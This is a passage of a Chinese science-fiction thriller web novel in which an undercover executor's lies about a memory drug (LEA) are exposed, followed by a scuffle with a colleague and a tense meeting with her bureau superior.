我当着他面重新吃了一口,尽量真诚地夸赞:“还行。”
“行了,不逗你了。”被世俗意义上中等评价的主厨放弃从我嘴里听到好话,转移了话题,“说实话,吴潍说她晚上会找你,我才把你拉过来的,没什么别的想法。”
“你平时生活就这样?”我手里的叉子戳进我不太了解的绿色蔬菜,真心实意地看他一眼,“我去过那么多人家里,你是第二个家里干净成这样的。”
“第一个是谁?”姚渊莫名其妙地好胜心迫使他问出这个问题。
我勾起嘴角:“我家。”
哎,对,就这个无语又无力还带点恼火的表情。
我低头迅速解决晚饭:“你收拾得像样板间,你想我有什么结论?”
“没收拾。”姚渊再次重申,“因为东西都在组织里,要么就在手环里,你想找什么都得经过我本人才行。”
有点眼熟的行事风格。我撑着下巴隐约有一种“你还好意思说我”的不屑:“那,狗牌也是觉得被别人看见无所谓的东西?”
姚渊忽然有几分冷意。
虽然眼睛不在我身上,但我有一种被什么东西盯上的错觉。上次在地下天文馆“吵架”,观念冲突那次,他真的有点动怒就是这种气势。
“不用误会。”我偏头,“我不觉得你是‘凶手’。”
“你应该发挥你的木头属性,把嘴闭上。”他猛地起身,收走我的空盘,“Wined·Caster。”
“逃避可耻,姚渊。”我靠在椅背上,看着他的背影,“你把相框都倒扣了,我看不见反而是不专业吧?”
“学得真快。”洗碗的人不咸不淡地评价我,“那你会说什么报复我?”
32. 无可自证的说法
“报复你?”我有些匪夷所思,“你的自毁倾向跟我真是半斤八两。”
姚渊没有理我,把厨房收拾完了,从冰箱里先是拿出瓶酒,最后换成了没开封的盒装果汁,分别给我和他自己倒了一杯。
“怎么?”他把杯子递给我,坐在原来的座椅上,“不怀念能从我尸体上扯走狗牌、作为纪念品的日子吗?”
说什么呢?我扶额,阴恻恻地命令他:“你现在带上,我拿出十年的气质,满足你的幻想。”
“我不要你现在的样子,”姚渊说得理直气壮,“我说过,我喜欢绿眼睛。”
早晚的事,死人还挑上了。
我不动声色地翻了个白眼,强行转移话题:“吴潍说晚上要找我?假纪殊珩的尸体这么快就能出结果?”
姚渊耸肩:“我又不是内部员工,我怎么知道?”
“我不信。”我毫不留情,“商政联合的家庭,连这种公开案件进展都打听不到?你这个长子地位得有多低。”
“就是你想得这么低。”被我质疑的人笑出了声,觉得这个事实真的有多有趣一样,“从四年前开始,你觉得我还信家里的哪个人?”
我忽然有些哑然。
能没有痕迹和线索地给姚渊注射LEA,介绍当时长期幕后的纪殊珩给他,绝不是什么等闲之辈。
但姚渊本人也不是什么省油的灯,排除等闲之辈,排除我之下的执行官级别,最有可能的就是身边人。
说得准确点,就是姚渊的身边人。
我还想说“你为什么不怀疑姚瑎”,但最后我还是扯了句玩笑话:“家家有本难念的经,豪门也不例外。”
“你以为我想?”姚渊很无奈地摇头,“你看见的那块狗牌,我是想还回去的,但我上门只会把人吓死。”
总感觉他在说我目不识丁,但我没有证据。
“拉倒吧。”我撇嘴,“那你拼死拼活把东西拿回来,就是落灰吗?”
姚渊沉默片刻:“你怎么信我是拼死拼活拿回来的?”
安全感真低啊。
“很简单,”我比着下巴试图说点什么,搜肠刮肚半天也没有一条准确的逻辑链,干脆直白告诉他,“因为你目前为止没有杀过人,那个执行官不算。”
“所以,你就觉得,在城外那种极端环境里,我也不会为了活命杀手下的人?”姚渊的食指敲着桌面,“你比我还天真。”
“你在名单上是最后一个划掉的名字。”我抬起食指指向他,“一个,是因为是你的履历比其他成员精彩太多,我觉得我打不过;另一个——”
我忽然有些退缩,不知道应不应该说出来,但箭在弦上不得不发:“因为所有人都觉得,你活着可以救更多人。”
姚渊一言不发。
指望对方能暴起说点什么,但他沉默地像被什么打击了一样。我有些悻悻地收回手:“好吧,我想说的是……”
“我知道,”姚渊打断了我的话,“就当你在夸我了。”
你最好知道。相识没几天的核心组织成员都会如此,更何况出生入死纪念的战友。
我压下对十年前行动的复杂情绪,移开视线,抿了一口果汁。
酸得我眉头一紧,咽下嘴里的半口,端起杯子仔细端详,在记忆里比对。
这什么牌子,值得上我黑名单。
“原榨。”姚渊冷不丁回答我,“看来你也享受不了这个。”
“我比你想得金贵多了。”我恶狠狠地瞪回去,“太酸的、太苦的、未深加工的、含脂量高的,全都入不了我的嘴。”
姚渊倒是换上饶有趣味的表情,看我的眼神像是在看什么必须征服的食客:“怎么又挑又不挑的,头一次见。”
我没再延续这个话题,放回杯子。
门口传来了敲门声。我身为客人,看着姚渊起身去开门。
来的是吴潍。我倒也不意外,但她似乎有几分兴师问罪的味道。姚渊让吴潍进门,顺手给吴潍倒了杯水,示意她可以坐我旁边。
但吴潍拒绝了坐下来细谈,站在桌子边,把手里的文件压在桌面上,递出一半停在原地。
我很熟悉这个小习惯。以前想要“兴师问罪”和谈判的时候,我就会摆出这个架势:可以合作,但回答不满意,免谈。
假纪殊珩的案子走向和我猜测的不一样?我努力去想有什么出现了漏洞,能让吴潍这么生气。
叶琦加入组织的实际动机有问题?但我还没拿到纪殊珩手里的叶琦档案,我的说词本身也没有很大的漏洞;那应该是十年前的案件报告批复?吴潍应该没有权限能查到这个。
迅速复盘完毕,我等着一脸“质疑”的吴潍发话。
吴潍开口不知道对着我还是姚渊说:“这里是纪殊珩姐妹的自杀案,Wined,你说的没错。”
虽然是好话,但我心下还是有些不妙。下一个字必定是“但”,吴潍语气像极了十年前压着暴怒的我。
“但是,Caster小姐,”吴潍盯着我,每个字几乎凝聚成实体,“你能告诉我,你看见的叶琦LEA记忆,为什么在LEA诞生之前?”
什么?我思绪停滞了片刻。LEA注射的记忆有范围?什么范围?什么叫“我看见的叶琦记忆在LEA出现之前”?
我看见的LEA实际记忆是叶琦发现并通过匕首定位确认"真正的吴潍"的踪迹,不管她到底确不确定我是不是“吴潍”本人,但现在的吴潍绝对不是十年前失踪的那个。
所以我对吴潍说的是:叶琦在余殷从探索队回来后,妻子和女儿对他隐晦的复制体质疑。
我扫了一眼姚渊,对方似乎有些困惑。
该死,真是一点都不能让手里人单独见面。
我不能迟疑太久,万一是吴潍在诈我?几个小时之前,林执才当众质疑我是内鬼,吴潍用这种极端计策也不意外。
“LEA记忆有时间范围?”我迅速反问,“你不要被纪殊珩误导了。”
吴潍冷笑一声:“LEA在3822年5月份才开始在市面上流通,需要我提醒你,余殷的是什么时候去世的吗?”
我都忘了这茬。
吴潍本身就是LEA的销冠。她不清楚LEA什么时候被制造出来,但她一定清楚LEA的市场流通时间。更何况,LEA本身就是合法药剂,这些信息本就可以公开。
“3822年2月份。”我嘀咕一句,尽量平和地回答,“但记忆本身可以在日后记录,不是吗?而且我们……”
不知道LEA如何记录记忆。我这句拖延时间的话没有说出口,被吴潍冷硬地打断了。
“Wined·Caster,”吴潍连名带姓地喊我,手拍在桌子上,愣是让我短暂失语片刻,“你把我骗得团团转,而那位——”
被点名的姚渊似乎比我早回过味来,对我露出一个“你是不是疯了”的无语表情。
怎么都怪上我了?谁能告诉我LEA的出现时间和记忆记录有什么硬性限制吗?
难道LEA只能记录当前记忆?就像录像机?
但怎么能解释纪殊珩可以完全改造一位陌生人的人格?把纪殊珩一天二十四小时全记录下来塞进别人脑袋里,也没有办法把她最核心的人格覆盖进去。
我暂时找不到合理的解释。
除非,姚渊在对我说谎。
他知道LEA双剂如何记录记忆,如何使用,但对我没有提起、甚至在误导我认为,LEA的双剂是两种无关,或者是递进关系的产品。
现在我可算是体会到林执的心情了。我盯着吴潍挑眉,示意她继续。
“姚渊总督,也把你骗得团团转。”吴潍的语气带上了嘲讽和几分不易察觉的失望,“他亲口告诉我,LEA是双剂模式,简单来说就是A剂开始记录,B剂结束记录,只能记录后续新增的记忆。所以,你要怎么解释?”
千算万算,没算到姚渊会给我玩这么一手。我都懒得去看他的表情,想都不用想地精彩。
我没有想去责怪姚渊用这种方式给了吴潍拆台的斧子,算是我没有跟“合作对象”互通情报而已。
空间里是一片窒息的沉默。
我忍不住笑出了声,不知道是自嘲还怒极反笑:“对,吴潍,我没有办法解释。”
“不解释?”吴潍难以置信地反问我,“你是不是从头到尾都在骗我?”
也没有,除了“我是生命维护执行官”以外,全部都是编造的。
我没有回答问题,轻轻而不置可否地摇头。
“所以,你调换了叶琦的文件。”吴潍语气里的失望越来越大,无语和自嘲并存,“叶琦也不是为了调查丈夫的密语而加入组织,成为卧底,也不是继承‘吴潍’的信念而追杀名单的人。”
我想说点什么,但我很难对事实做出反驳。我想说话,但又哑口无言。
“那是十年前的我。”吴潍扶额,抬手制止我,“那份名单是十年前的。”
我不想说话了,无论我说什么都像是狡辩,都像是欲盖弥彰。
比起解决吴潍的信任危机,我需要利用她的这份心情。
“因为首领嫌疑名单上的人都活着,我一直以为划掉名字是叶琦排除嫌疑的意思。”吴潍说着,“但根据我这两天的调查结果,这些人除了姚渊,几乎和组织毫无关联。”
吴潍停顿了一下,绿色的眼睛盯着我:“也就是说,如果这份名单是现今的,那这些名字,就不应该出现在这份名单上。”
我早有预料这一点,但此刻来得太早了,打得我有些措手不及。
在我的计划里,我会拿
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出纪殊珩给的叶琦在组织里的档案,至少我能用实物证明:我只是担心吴潍的安全。
但我现在,什么都没有,那句“我担心你”苍白又无力。
她自嘲似的说:“我原本想,应该是名单另有深意,也许是我调查的不够深入。组织说到底是个小团体,还有纪殊珩的生物科技公司掩盖,我查不到太正常了。”
也许你应该更信任自己的直觉——不,还是保持怀疑自己。我胡思乱想着。这样就不会在十年前被流放了。
吴潍深深地叹气:“我真的很想信任你,但你不该利用我到这个地步。叶琦对我来说有多重要,所有人都知道。”
难道对我来说就不重要了吗?我没有资格在这里做这样的反驳,掩盖表情地低下头,看见了自己空荡荡的左手腕。
“你到底是谁?”吴潍终于问出了这个问题,“叶琦对你的执着,甚至值得她冒着被无人机击杀的风险,向你寻求一个答案?”
姚渊似乎觉得场面超乎想象的精彩,换了个姿势好“事不关己”地远离战场旁观。
“你的身份,你避而不谈的过去,你为此不惜利用、扭曲叶琦的动机,给所有接触你的人编造一个‘我是辐射区幸存者,是叶琦不为人知的朋友’的谎言。”吴潍质问我,“我敢说这个答案,你这个谎话连篇的人敢不敢认?”
用脚趾头想都知道吴潍会问我是不是十年的“吴潍”,我哪里敢认。
我腹诽着。要跟十年前的案件关联,能被叶琦执着追杀,能黑了无人机漏洞不被追责,除了十年前那个受伤失忆的”吴潍“本人几乎没有第二个人。
这真是除了现在的吴潍以外,没有人敢得出的答案。吴潍可太清楚自己到底是不是这帮烂事的主角了,林执都只怀疑我是十年前“吴潍”的隐藏牌。
“你想要答案,想要真相。”我站起身,和吴潍平视,伸手指向她,“那我给你这个机会。”
吴潍盯着我,暂时没有表态。
“我给你我的执行官手环。”我知道吴潍一定会接,“十年前的全部案件记录,你们要查的司南,我的权限应该全部涵盖。”
“你还想着利用我。”吴潍嘲讽地笑出声,“你想我去管理局做饵钓司南行动,甚至去测试你的上司和管理局内鬼有没有关联。”
我忍不住“啧”一声:“我的上司不可能是内鬼,否则我就不会在这里了。”
吴潍对我沉默片刻,似乎在和缓情绪:“我要怎么信你?你怎么能确定你的手环我能使用?你们执行官作为工具都不需要生物识别?”
因为我们是生物验证基因表达完全一致的基因组。
我压着声音:“很简单,我不关心你们的死活,但我关心我的任务,任务倒计时还有八天,我不想死。这个理由,满意了吗?”
吴潍嗤笑一声,没有反对我,把文件滑到姚渊面前,坐在离我最远的座位上。
唉,小孩子脾气。我忍不住评价她,本想下楼去拿我在车里的手环,但又想起姚渊拆了我的台,又坐回了椅子上。
我跟他的账还得慢慢算。
姚渊终于抓到机会插话:“Caster小姐,你的车钥匙给我,我帮你去拿手环?”
我近乎是想暗杀他一般,把车钥匙甩给他。后者似乎终于能够离场,接过钥匙神态自若地出门。
伸手拿过那份文件档案,我再次去拆那些绕得没完没了的密封线。
在我绕了两圈之后,吴潍忽然很难过又很平静地问我:“我对你意味着什么?”
我的手停在半空,片刻后我抬眼去看她:“你想听哪个答案?”
“这得问你说得出什么答案。”吴潍终于不再试图挽回我的形象,“我算什么?被你玩弄的猎物吗?”
“我没那个闲心。”我低头继续去拆那份档案文件,“不要侮辱我的职业道德。”
“因为我还有利用价值?”她撑在桌子上问我,自顾自地扯出理由试探我,“还是因为你对自己下不了手?”
“想太多了,吴老板。”我终于拆开了这份档案文件,抽出文件,没正眼看她,“我是没想到姚渊这个时候拆我的台,但我也不在乎谎言被戳穿。”
吴潍沉默片刻:“十年前的‘吴队’就是这种角色?真是辜负了和她有关的所有人。”
我停顿片刻,视线从手里的纪殊珩档案里再次移到她脸上:“真希望知道所有事情之后,还能说得出这种话。”
啧,姚渊骂我就算了,吴潍也骂我。我真想把城市炸了。
操/你的管理局,操/你的城市真相,操/你的末世乌托邦,操/你的命运责任感。
真想撂担子不干了。
“曾经的‘吴队’,绝没有选择错误。”我一字一顿地通知她,“要我说,就是杀得不够斩草除根。”
33. 无可自证的说法
我就该把名单上的尸体全扔在街头,公之于众,最后被判个什么“流放罪”这辈子不得回来,只能在辐射区苟延残喘。
我就该用这个方案。
不仅管理局没法用生物复制体替代社会角色,纪殊珩都还找不到最佳实验体控制组织。
这才算杀得干净,永除后患——包括吴潍,无论是哪个。
“你真觉得自己是什么救世主吗?”吴潍似乎在很认真地评价我,“这也是姚渊给你洗脑的一部分?”
“当然不是。”姚渊的声音从门口传过来,“在纪殊珩的组织故事里,我才是那个‘救世主‘,这个头衔很难拱手让人。”
姚渊把我的手环放在了我面前,无视我的态度,顺手抽走我手里的档案。
我适时松手,拿起手环,准备删掉唯一一条信息。
在信息列表的最顶上,我看见了一段眼熟的坐标,准确来说,不是坐标,是十年前进行追杀任务时的坐标加密格式。
几乎第一眼就完成了加密坐标的解码。我面无表情地删掉这两条信息,还以为我早就忘得差不多了。
没有发信人,没有任何详情,甚至连以前会带上的“任务”两字都没有带上。
令人安心的冷漠风格,不知道是新任务,还是上司又来找我谈心。讽刺地想着,我把手还扔给吴潍。
姚渊重新坐回位置上,一边翻一边慢悠悠地把话题扯远:“好歹我也是年轻力壮的总督,暂时没有退位让贤的想法。”
“尸位素餐。”我评价他。
被评价的人扫了我一眼,又去翻手里的档案。
我的手摸上了那杯果汁,最后还是没有勇气再来一口,开口打破沉默:“还有什么要分享的吗?”
回答我的还是沉默。我叹气一声,有一种光杆司令的无力感。
吴潍低头收好我的手环,抬眼看向我,话里话外似乎在问姚渊:“说一件无关的事情。姚瑎失约,把我晾了一上午,你有什么头绪吗?”
我扯出一个假笑:“我为了从组织里脱身,黑了管理局的无人机,姚瑎大概被无人机拦住了?”
“原来如此。”她笑了一下,站起身,扫了一眼在抬头盯着她的姚渊,“高中学业繁重,姚瑎难得抽出时间和我聊天,我还指望能收回之前的约饭承诺,真是遗憾。”
吴潍之前见过姚瑎?那个让她决定走私LEA,治疗被质疑者的小女孩,是姚瑎?
3822年是姚渊正式上位总督位的时候,时间差不多也在姚瑎的高中时期。姚渊利用手里的人调查记忆里的“吴潍”,也不是很意外的事情。
结果也很好推断。
吴潍没有十年前的记忆,没有生物复制体的概念,也没有处理十余人的名单记忆,不管吴潍是什么反应,结果必定是姚渊放弃调查了吴潍。
这就是地下天文馆里,白板上显示停止调查“吴潍”的根本原因,就不是害怕暴露,更不是没有更多线索,就是单纯的没有进展。
真有意思。我的底牌被姚渊拆了个精光,倒也不能怪他。我有些麻木,但依然有一股无处发泄的怒火。
我刚想去问,结果听见姚渊倒是先开口了:“吴潍,我们并不是敌人。”
“当然。”吴潍头也不回地离开,却站在门口回头露出一个戏谑的微笑,“但按照你的风格,我们算‘情敌’。”
我的吐槽没在心里转成一句完整的话,就被吴潍关门的一声压了回去。
有些头疼地扶额,我撑在桌面上,暂时不想去管那些乱七八糟的线索,抓住最主要的问题:“姚渊,你下楼遇到了谁?”
“没遇到人,怎么了?”姚渊心态很好似的翻过一页纸,“我还以为你会先跟我打一架。”
我放下手,在椅子上找了个合适的姿势,懒得再跟他周旋:“如果你再说谎,我真的会一拳揍在你的脸上。”
姚渊终于看完那份文件,一边仔细整理好,一边盯着我回答:“所以那个人是管理局的人,不然你也不会这么了解。”
“不一定。”我盯着他,“那人说什么了?”
“谜语。”姚渊用两个字回答我,“跟你一样,试图停止让我往火坑里跳。”
怀柔政策。我在心里长叹。要是当年在我前面,有那么个知道城市黑暗面的前辈,说不定我就不会走十年弯路了。
“我得加个班。”我沉默片刻,“你有备用钥匙吗?”
姚渊展示了自己的手环,露出一个爱莫能助的表情。
我讨厌高科技门锁,撬起来麻烦,共享钥匙也麻烦,就该把吴潍的手环骗过来用。
盯着他,我不抱希望地问他:“你能别跟来吗?”
“很难。”姚渊说的词应该是心虚的,可语气偏偏是理直气壮,“介于我刚刚拆了你的台,有理由怀疑你要公报私仇。”
我站起身,还是不得不带上这个麻烦精:“走吧,给你找一个到底是谁在对你说谜语的答案。”
说实话,我以为我能一直撑到见完上司之后,才会对姚渊动手。
但我一走出电梯,趁着监控的死角,一把拉过没有设防的姚渊,几乎是带着新仇旧恨的一拳,就招呼在了他的脸上。
“啧。”姚渊猝不及防,被我的袭击往旁边走了两步才稳住身形,语气里倒没有什么埋怨,“有没有点格斗素质,也不提前说一声。”
我看着他的那张脸就来气,上前一把拉过他的领口,恶狠狠地压低声音:“姚渊,别让我抓到把柄。”
配合俯身的男人用拇指擦掉嘴角的血迹,居然还能笑得出来:“你骗吴潍的时候,有想过被我骗吗?”
我盯着他,又是一招出拳袭向他的肋骨下侧,但没能得手。对方一把抓住我的手腕,生生卸了我的大部分力气。
“我怎么知道你的谎言那么愚蠢。”他一手拉掉我抓着他领口的手,牵制着我的双手把我压在墙壁上,“撒谎之前都不查查LEA的出现时间?我还以为你有多算无遗策。”
冷笑一声,我提膝踢向他的膝盖,迫使他后退半步,趁着对方松懈力气的瞬间,又紧跟两步摸出他腰间的手枪,抵着他的胸口。
姚渊又后撤半步,我就进一步把枪口压在他的□□上。冰冷的枪口上移,最后抵在他的锁骨。
我抬头和他对视:“你以为我在生气你拆我台?”
他可以瞬间反夺回他的枪,但我意不在此。
我平静地点出原因:“因为你在误导我。你一直都知道A剂是什么、怎么用,而我偏偏信了你那套受害者叙事,也信了你对LEA一无所知的人设。”
姚渊完全知道LEA的完整使用方法,却对此绝口不谈,隐瞒了最重要的时间机制限制。
于是,围绕LEA的谎言,几乎必定会在这一点上出现问题。他就死死地压着手里的按钮,就等着什么时候引爆,炸我一个猝不及防。
姚渊忽然又笑起来,不知道是嘲讽我终于发现了,还是欣赏。如果是后者,我现在对这种情绪有点反胃。
我用枪口抵在他下巴上,迫使他抬头,让那个讨厌的笑从我视线里消失:“早上你给Tong用的那份LEA,是你的记忆?”
Tong提到的星空、家人和理想,在昨晚姚瑎提议的观星夜,显然有一个完美符合的人选。
再加上Tong对着姚渊问出那个“那些记忆是真的吗”之后的神情,配合刚刚姚渊又用LEA机制拆了我的台,我几乎可以肯定这个答案,
他伸手压下我的手腕,低头看着我,声音语气又抓起了曾经的蛊惑意味:“终于意识到了?LEA的记忆是黑箱,在任何人使用之前,没人知道里面记忆到底是什么。”
姚渊头回对我有一种压不住的笑意,我听得有些毛骨悚然。
他说:“除了给自己注射A剂的——记忆提供者本人。”
我一下挣脱开姚渊的控制,最后把枪拍在他的身上,连带着又推了一把。对方纹丝不动,我是说不清道不明地后撤半步拉开距离。
实在是忍不住匪夷所思,我质问他:“你连和妹妹的记忆都能用?你怎么能疯成这样?”
“你想看我的存在主义危机,”姚渊慢条斯理地收好手枪,刚刚那种充满着微妙杀意的气氛似乎从未存在过,“这就是症状,高兴了?”
我盯着他,试图从他的脸上看出几分“诈唬”的痕迹,很遗憾,什么都没有。
“有正经理由。能做吐真剂的LEA并不多,舒缓记忆几乎只能为了记录而记录,记忆内容可控很重要。”姚渊觉得他演得太过了,挥挥手打破气氛,“在场的就我和姚瑎,我总不能拿她当道具吧?”
不见得。
我冷脸把姚渊从我的必经之路上推开:“你早晚会把自己害死。”
“你的反应真是难解。”他在我身后好像真的有多诧异似的回答我,“你觉得我在乎吗?”
“你会后悔的。”我看见了我的车,在身上摸车钥匙,“他给你的条件是不是‘解决一次事件’的空头支票?”
姚渊没否认,趴在车顶上看我翻找钥匙:“所以还是管理局的人?”
这谁知道。管理局里的有很多人能给出“空头支票”,至于这张支票能有多大能力,我上哪知道去。
但对我上司来说,我当年用这个“支票”换来了现在的吴潍。说不上有多赚,但至少我过去十年过得比在管理局眼皮底下好多了。
我照旧把这个问题留空,摸完发现我的车钥匙还在姚渊手里,转头冲他伸手:“车钥匙。”
姚渊不适地动了动嘴角,仿佛埋怨我那一拳真的把他打破相了似的,故意缓慢拿出我的车钥匙,却没有直接还给我。
确认我的注意力在他身上,他才开口:“吴潍,我没有想到是这
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个结果。”
我扶在车上,冲他抬头,示意他有话快说,现在心情算不上有多好。
“我知道你的底线是吴潍,自然包括你的原型身份。”姚渊称得上是恳切地在解释,“我告知她LEA的时间机制只是拉拢而已。”
“是,当然是。”我嘲讽他,“看见我没法用我的队长威信压住你的怀疑程度,你找吴潍坦白技术细节很拉信任度。”
姚渊磨蹭片刻,还想说点什么,最后只把一句“抱歉”和车钥匙全放在了我手里。
“我理解,”我坐回驾驶位对姚渊说,“所以我只给了你一拳,姚总督。”
想把车开河里去。我手动起步,在自动巡航上输入坐标,躺在椅背上就想睡。
“啧,下次能不能冲着隐晦点的地方打?”姚渊坐在副驾驶上,抬头对着镜子研究那一块淤青,“我又不会化妆。”
这人连头发丝都讲究位置,怎么可能不会化妆。
我白他一眼:“反正你偷了我的化妆品,练练手,未来说不定能用的上。”
他研究完伤势,关了车顶灯,收好镜子,低头去看我的目的地在哪里:“你谈未来会不会太奢侈了?”
“不奢侈。”我敷衍他,“对你来说,你永远有属于‘玩腻了就回去’的未来,我这是向下兼容。”
他看出我的坐标是市中心有名的酒店,不算远。收回视线,落在我身上,他语气里有几分嗔怪:“这可真难自证。”
“那我给你一个自证机会。”我漫不经心地问他,“我让你去杀人,你干不干?”
姚渊摸着下巴反我:“还有什么人是你杀不掉的?”
我没回答他的问题,只是微微偏头扫视他一眼,略微挑眉,露出一个“你说呢”的表情。
罕见地微蹙起眉头,他沉默片刻,移开视线,用着郑重,但又不应该那么郑重的纠结语气回答我:“我不干。”
“真遗憾。”我撇嘴评价他,闭上眼睛小憩片刻。
他下不去手。我想着。这人还有下不去手的时候?说他感情用事还真是一点没错。
要我,我就下得去手——只要有一个合适的理由。
车程不远,感谢老板特意安排。
我把车停在无人机死角,把身上武器全部卸下来,忽然想起来,要是没有姚渊作保,我还真没法从正门进去。
因为我的生物识别是吴潍的,日后必定会被系统异常警报。吴潍可不能大晚上出现在两个地方,麻烦无穷无尽。
姚渊露出一个“还得是我罩着你”的表情,把枪递到我手里让我收好,又对着我点点脸上的淤青。
好想在他脸上打个对称。我面无表情地摸出我的化妆品,在他手上试了几个遮瑕才找到合适的肤色。
“自己对着镜子抹去。”我把工具塞到他手里,转头去看酒店门口周围的混杂人员,“这玩意又不用手法。”
“不解风情。”他的字典里好像除了这四个字以外就没别的词了。
他对着镜子迅速遮盖完毕,顺手帮我把工具整理好,统一放进储物箱。
“行了,走吧。”姚渊站在车头,上下端详一番我,“就你这身,不知道的还以为你是保镖,不是客人。”
我一把关上车门,冷笑回去:“谁家男方连车都没有?”
“你想要?”姚渊冲我一笑,“那我临时提一辆?”
闷不作声地靠近他,我收着力气给他一拳:“还是省省吧。”
姚渊下意识地想要我去挽他的手臂,但我不动声色地后撤半步,把自己放在保镖位上。
被无视的人强行拦过我的肩,对着门口的迎宾员礼貌一笑,跳过我的生物识别,把我带进了门。
看来,姚渊这张脸还真是好用?我捕捉到迎宾员神色里迅速闪过的好奇。
上次来,我可没有那么轻松地从正门走。
要检查我的生物特征,要检查我是否被邀请,还需要检查邀请函……麻烦得很。我不情不愿地想。要是没有姚渊,我还真得从员工通道进。
虽然也不是问题,但我没有手环,找指定房间还是得通过前台,免不了一顿盘问。
身边人给我一个“不要离得太远”的眼神暗示,才放开我的肩膀,去和前台交涉。
现在倒是省事多了。等着前台去翻信息,我趁机扫了一眼周围。都是些打扮细致的人,各怀鬼胎,一句话得掰成三个意思听。
我勾起一个皮笑肉不笑的嘴角,对着角落里频频侧目的路人瞪了回去。下次再来这种地方,我宁愿挑着员工通道进,让姚渊去走正门。
路人终于老实地把视线放在礼貌的范围内,前台也终于是查到姚渊的名字在一间单独包厢下。
谢天谢地,我终于不用再忍受“这女人到底是谁”的目光了。我解脱似的想着。
我真得要一笔精神损失费。
34. 无可自证的说法
包厢在顶楼,地方不大,是我熟悉的任务派发地点和风格。
这酒店其实挂名在管理局属下,但对外只是单独的民营企业,只接大型业务,年年亏年年照样营业,属于是某种意义上的“装饰型”产业。
不过,灯光设计确实好看。我思索着。也有不少游客冲着这点来,也不知道管理局上哪挖来的顶级设计师。
我进门扫了眼陈设,没什么特别地方,又低头摸了一遍角落,确认没有窃听器,坐在单人沙发上,研究桌子正中央的装饰花到底是真是假。
“所以,我们到底是来见谁的?”姚渊等了几分钟也没见有人来,忍不住问我,“是因为我在场吗?”
“不是。”我还是上手摸了一把花瓣,但还是没有关于真假的线索,“至于见谁?我也不知道,桌子上没有文件袋,所以应该不是任务。”
还是觉得自己很多余的人沉默片刻,扶额:“你就不怕是什么陷阱吗?”
我摸着下巴迅速推演几段,最后只给了他一句话:“你怕自己没法竖着出去?”
姚渊被这番话整得卡壳,放弃再和我的单线程思路较真。
要是陷阱,也只能是肉搏战,既然是肉搏,那有什么好怕的。光姚渊一个人就够打了,何况还有个我呢?
我不再和那朵花玩“大眼瞪小眼”的游戏,有些疲惫地整个人缩进沙发里。
讨厌所有不守时的人,尽管没人跟我约定时间。我皱着眉头想。管理局肯定知道我到了,这人难道是堵在路上了吗?
说起来,叶琦也是,姚渊也是,这人也是,怎么我遇到“约我去指定地点”的情况,从来都是让我等。我愤愤地翻旧账。离开十年,整个城市的时间观念也被当柴火烧了吗?
“吴潍,”姗姗来迟的中年男人锁好门,坐在唯一空着的沙发上,“好久不见。”
说实话,我不认识这个中年男人。当年和我谈判的那位是另一个人。
“你说是就是吧。”我坐直身体,“如果是开会,那就速战速决。你知道我从来不参加这种东西。”
理论来说,这人,要么是我只发任务的寡言上司,要么就是上司代言人,我不在乎。
“姚渊,幸会。”那人暂时没有理会我,把视线转向在一边沉默的姚渊,“你也许听过我的名字,核心管理层战术处理中心,术煜。”
姚渊没什么反应,只是礼貌地回握了对方的手:“术先生,幸会。”
“所以你是发任务的,还是来转发公告的?”我紧接着加上询问,“术老板?”
我的生物钟告诉我,现在值得一场温暖舒适的睡眠。说人话就是,我不想加班,我想睡觉。
“我是你上司。”术煜对我用着“朽木不可雕也”的语气,“理论上你应该归我管,但实际上,你的正经上司对你有很大期望——不过,我要问的,是那个超界执行官。”
啊,很大期望,指的是逼我非杀了现在的吴潍不可吗?我琢磨着。原来我有那么多上司?
幸好沟通只用手环,不用区分那帮上司到底长什么样,虽然我现在连手环都作为道具用了。
我抓到中间微妙的态度转述,回答术煜的问题:“代号是Tong,我见到他的时候身上没有执行官身份证明,手环失踪,任务是处理复制体,没了。”
术煜勾起嘴角,翘起二郎腿,往后靠在椅背上:“吴潍,你知道谋杀执行官的后果。”
我嘲讽一笑:“我知道,洗脑而已。十年前我就求之不得,如今依然是,术总管。”
“弹道不属于你的配枪,”他的语气冷硬下来,“是常见的管理局制式。”
“上司知道我爱玩枪,管理局更新了型号,顺手拿来试试而已。”我轻描淡写,“那个复制体执行官扰我清梦,下手重了点。”
在我故事里“被夺了枪”的姚渊抱胸旁观,显然不想、我也不会允许他加入话题。
术煜盯着我看了两秒:“关于超界的原因,你有什么线索吗?”
看来是不想追究谁是凶手的问题了?我暗自松一口气。
不过,我还是很困惑,是要让姚渊旁听一整局吗?这个问题必然绕不开“第二世界”,他不管私底下如何,表面上身份还是“组织总督”,后果并不可控。
术煜可以调用执行官,又特地来问我超界执行官的问题,看起来好像一无所知。
但我还是需要谨慎。万一术煜和“司南”有关,就是来套我话的。
他要是进行针对性的信息封锁或者修改,我要找证据就很麻烦了,而且吴潍的调查一定会受阻,甚至陷入危险。
加上被Tong追杀和失踪的手环,能派一次就能派第二次。虽然不是什么太大的威胁,但是非常麻烦和分神。
“说起这个,不如您先说明一下,”我拖长语调,“管理局为什么对我的任务进度,突然那么上心了?”
“谁关心你的任务进度,”术煜冷笑一声,不假思索地回答我,“我们只要结果。也只有你,会跟上司讨价还价。”
完整且正确的回答。我试图从以往少得可怜的任务通知里找到跟术煜相匹配的风格,但很显然,一无所获。
“那就管好你的手底下人。”我用着左手手指向他,意有所指,“别来烦我。”
上司,你,或者管理局里有内鬼。
他看见我空荡荡的左手腕,略微低头思考,摸摸中指的银环,重新抬头看向我:“吴潍,你是述职方。”
和熟人合作就是舒坦,这就意识到我在说什么了。我勾起嘴角。
“这就是我的述职。”我毫不留情地对他说,“不要影响我的任务。”
术煜表情没有变化,情绪稳定地开口,像是在转述更上一级的指示:“档案管理员吴潍,和前执行官指挥官姚渊,是单选题。我们珍惜你,但不代表着不会狠下心。”
他摆出官方微笑,看起来倒是平易近人:“城市和管理局,有的是时间等待下一位同样能力出众、同样证明值得的人类。”
我知道他什么意思。
选择吴潍就是维持现状,把十年前的组织追杀那出戏再演一遍,重蹈覆辙;选择姚渊就是跟管理局作对,必定活不下来。
除非我走出第三条路,这是管理局想要,且唯一想要的结果。我在心里冷笑一声。我十年前选择自我流放不就因为我找不到第三条路,但我也不想跟你们同流合污吗?
在我心里,我确实有第三条路规划。如果每个人都按角色演好这出戏,就会有这条路,而且他们会的。
其次,术煜在推卸责任,这就是警告。我在心里腹诽。十年前也这样,怎么一点也不意外呢?
“这才像是我上司会说的话。”我长舒一口气,“放心,案子我会解决,城市也不会有问题,至于其他的?别对我奢望太多。”
“那你呢?”术煜抓到我语气里的笃定,他问话的语气还是很平静,“告诉我,你有什么结果?”
